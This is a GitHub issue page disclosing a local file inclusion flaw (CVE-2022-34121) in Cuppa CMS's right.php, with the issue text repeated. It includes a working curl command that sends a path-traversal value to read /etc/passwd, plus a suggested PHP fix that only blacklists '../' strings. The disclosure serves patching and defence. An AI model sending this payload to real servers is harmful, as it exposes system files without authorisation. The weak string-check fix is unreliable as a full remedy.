Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Cuppa CMS suffers from local file inclusion vulnerability in '/templates/default/html/windows/right.php' script using $_POST['url'] parameter.
Using the following exploit it is possible to include arbitrary server file: curl -X POST "http://IP/cuppa/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../etc/passwd"
PoC:
Possible solution: $_POST['url'] should be sanitized against truncation (../ or ..\ , etc...).
Disclosure date: 6th January, 2022 Reference: https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
The text was updated successfully, but these errors were encountered:
@tufik2 This vulnerability has pretty high severity and should be fixed ASAP.
In '/templates/default/html/windows/right.php' script, line 53 my suggestion is to add the following:
$url = $_POST["url"]; if(strstr($url, "../") || strstr($url, "..\\")){ echo "Security attack!"; exit; } include realpath(DIR . '/../../../..')."/".$url;
Looking forward to your response.
Sorry, something went wrong.
CVE-2022-34121 is assigned to this vulnerability.
No branches or pull requests
Cuppa CMS suffers from local file inclusion vulnerability in '/templates/default/html/windows/right.php' script using $_POST['url'] parameter.
Using the following exploit it is possible to include arbitrary server file:
curl -X POST "http://IP/cuppa/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../etc/passwd"
PoC:
Possible solution: $_POST['url'] should be sanitized against truncation (../ or ..\ , etc...).
Disclosure date: 6th January, 2022
Reference: https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
The text was updated successfully, but these errors were encountered: